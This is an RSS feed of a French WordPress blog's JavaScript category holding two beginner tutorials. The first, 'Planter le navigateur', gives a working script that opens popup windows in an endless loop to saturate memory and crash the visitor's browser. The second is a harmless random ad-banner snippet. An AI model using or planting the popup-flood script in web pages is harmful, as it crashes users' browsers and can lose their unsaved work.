<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Zouhir Bahij &#187; Javascript</title>
	<atom:link href="http://zouhir.bahij.org/category/developpement-web/javascript/feed" rel="self" type="application/rss+xml" />
	<link>http://zouhir.bahij.org</link>
	<description>Not your blog</description>
	<lastBuildDate>Thu, 20 Oct 2011 06:45:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Planter le navigateur</title>
		<link>http://zouhir.bahij.org/web-dev/javascript/planter-le-navigateur</link>
		<comments>http://zouhir.bahij.org/web-dev/javascript/planter-le-navigateur#comments</comments>
		<pubDate>Fri, 16 Oct 2009 03:49:37 +0000</pubDate>
		<dc:creator>Zouhir Bahij</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[navigateur]]></category>
		<category><![CDATA[Planter]]></category>

		<guid isPermaLink="false">http://zouhir.bahij.org/?p=70</guid>
		<description><![CDATA[Fonction : Le but est de saturer la mémoire vive en ouvrant un nombre infini de fenêtres du navigateur. Principe : Le principe est simple, on choisit un nombre au hasard qui représentera le nom de chaque fenêtre. On ouvre une fenêtre portant ce nom et on relance notre fonction de génération du nombre aléatoire. [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><span style="color: #000000;"><span style="text-decoration: underline;"><strong>Fonction :</strong></span></span></p>
<p>Le but est de saturer la mémoire vive en ouvrant un nombre infini de fenêtres du navigateur.</p>
<p><span style="color: #000000;"><span style="text-decoration: underline;"><strong>Principe : </strong></span></span></p>
<p>Le principe est simple, on choisit un nombre au hasard qui représentera le nom de chaque fenêtre.</p>
<p>On ouvre une fenêtre portant ce nom et on relance notre fonction de génération du nombre aléatoire. Cette action devra être lancée tant qu&#8217;une condition sera vraie, quoi de meilleure que &#8216;True&#8217; <img src='http://zouhir.bahij.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p><strong><span style="color: #000000;"><span style="text-decoration: underline;">Script :</span></span></strong></p>
<p><span style="text-decoration: underline;">Dans la partie Head</span></p>
<pre class="brush: jscript; light: false; title: ; toolbar: true; notranslate">

&lt;script language=&quot;JavaScript&quot;&gt;
function overdose() {
nom = Math.round(Math.random()*1024);

while ( true ) {
window.open(&quot;overdose.html&quot;, nom,'width=64,height=64');
nom = Math.round(Math.random()*1024);
}
}
&lt;/script&gt;
</pre>
<p><span style="text-decoration: underline;">Dans la partie Body</span></p>
<pre class="brush: jscript; light: false; title: ; toolbar: true; notranslate">
&lt;a href=&quot;#&quot; OnClick=&quot;overdose();&quot;&gt;Try..&lt;/a&gt;
</pre>
<div class="shr-publisher-70"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fzouhir.bahij.org%2Fweb-dev%2Fjavascript%2Fplanter-le-navigateur' data-shr_title='Planter+le+navigateur'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fzouhir.bahij.org%2Fweb-dev%2Fjavascript%2Fplanter-le-navigateur'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fzouhir.bahij.org%2Fweb-dev%2Fjavascript%2Fplanter-le-navigateur' data-shr_title='Planter+le+navigateur'></a><a class='shareaholic-tweetbutton' data-shr_count='none' data-shr_href='http%3A%2F%2Fzouhir.bahij.org%2Fweb-dev%2Fjavascript%2Fplanter-le-navigateur' data-shr_title='Planter+le+navigateur'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://zouhir.bahij.org/web-dev/javascript/planter-le-navigateur/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Affichage de publicités au hasard</title>
		<link>http://zouhir.bahij.org/web-dev/javascript/affichage-de-bannieres-publicitaire-au-hasard</link>
		<comments>http://zouhir.bahij.org/web-dev/javascript/affichage-de-bannieres-publicitaire-au-hasard#comments</comments>
		<pubDate>Fri, 16 Oct 2009 04:50:52 +0000</pubDate>
		<dc:creator>Zouhir Bahij</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[bannières]]></category>
		<category><![CDATA[hasard]]></category>
		<category><![CDATA[publicitaires]]></category>
		<category><![CDATA[publicité]]></category>

		<guid isPermaLink="false">http://zouhir.bahij.org/?p=56</guid>
		<description><![CDATA[Fonction : Le but de ce script est de permettre l&#8217;affichage au hasard de plusieurs bannières publicitaires dans un espace, la transition se fait chaque chargement de la page, la liste de ces bannières étant bien sur prédéterminée. Principe : Le principe est simple, on crée une structure de tableau dans laquelle on place nos [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><span style="color: #000000;"><span style="text-decoration: underline;"><strong>Fonction :</strong></span></span></p>
<p>Le but de ce script est de permettre l&#8217;affichage au hasard de plusieurs bannières publicitaires dans un espace, la transition se fait chaque chargement de la page, la liste de ces bannières étant bien sur prédéterminée.</p>
<p><span style="color: #000000;"><span style="text-decoration: underline;"><strong>Principe :</strong></span></span></p>
<p>Le principe est simple, on crée une structure de tableau dans laquelle on place nos bannières, ainsi pour afficher une bannière, suffira-t-il de l&#8217;appeler par son numéro (Identifiant dans notre tableau). L&#8217;étape suivante consiste donc à générer un nombre aléatoire.</p>
<p>Comme tous les langages, il y a des bibliothèques déjà existantes (Packages, fonctions prédéfinies), Javascript intègre une fonction de sélection d&#8217;un nombre aléatoire (Math.Random), ce nombre est compris entre 0 et 1. A partir de là, on multiplie ce nombre par le nombre de publicités, moins  		une, on l&#8217;arrondit pour retomber sur un nombre &#8216;entier&#8217; et on ajoute &#8217;1&#8242; (car on commence les pubs à 1, non  		nécessaire si les on commence à 0).</p>
<p><span style="text-decoration: underline;"><span style="color: #000000;"><strong>Script :</strong></span></span></p>
<p><span style="text-decoration: underline;">Dans la partie Head</span></p>
<pre class="brush: jscript; light: false; title: ; toolbar: true; notranslate">

&lt;script language=&quot;JavaScript&quot;&gt;
var nombre_ban = 2;
var aleatoire = Math.random();
var n = Math.round( ( nombre_ban - 1 ) * aleatoire ) + 1;

ban = new Array;
ban[1] = '&lt;a href=&quot;#1&quot;&gt;&lt;img src=&quot;ban1.gif&quot; border=&quot;0&quot;&gt;&lt;/a&gt;';
ban[2] = '&lt;a href=&quot;#2&quot;&gt;&lt;img src=&quot;ban2.gif&quot; border=&quot;0&quot;&gt;&lt;/a&gt;';
var pub = ban[n];
&lt;/script&gt;
</pre>
<p><span style="text-decoration: underline;">Dans la partie Body</span></p>
<pre class="brush: jscript; light: false; title: ; toolbar: true; notranslate">
&lt;script language=&quot;JavaScript&quot;&gt;
document.write(pub);
&lt;/script&gt;
</pre>
<p><span style="color: #000000;"><strong><span style="text-decoration: underline;">Réflexions :</span></strong></span></p>
<ol>
<li>La même bannière peut s&#8217;afficher deux fois de suite (Swirti moulana).</li>
<li>cet article est destiné aux débutants, c&#8217;est la solution la plus simple et rapide qui existe.</li>
</ol>
<div class="shr-publisher-56"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fzouhir.bahij.org%2Fweb-dev%2Fjavascript%2Faffichage-de-bannieres-publicitaire-au-hasard' data-shr_title='Affichage+de+publicit%C3%A9s+au+hasard'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fzouhir.bahij.org%2Fweb-dev%2Fjavascript%2Faffichage-de-bannieres-publicitaire-au-hasard'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fzouhir.bahij.org%2Fweb-dev%2Fjavascript%2Faffichage-de-bannieres-publicitaire-au-hasard' data-shr_title='Affichage+de+publicit%C3%A9s+au+hasard'></a><a class='shareaholic-tweetbutton' data-shr_count='none' data-shr_href='http%3A%2F%2Fzouhir.bahij.org%2Fweb-dev%2Fjavascript%2Faffichage-de-bannieres-publicitaire-au-hasard' data-shr_title='Affichage+de+publicit%C3%A9s+au+hasard'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://zouhir.bahij.org/web-dev/javascript/affichage-de-bannieres-publicitaire-au-hasard/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

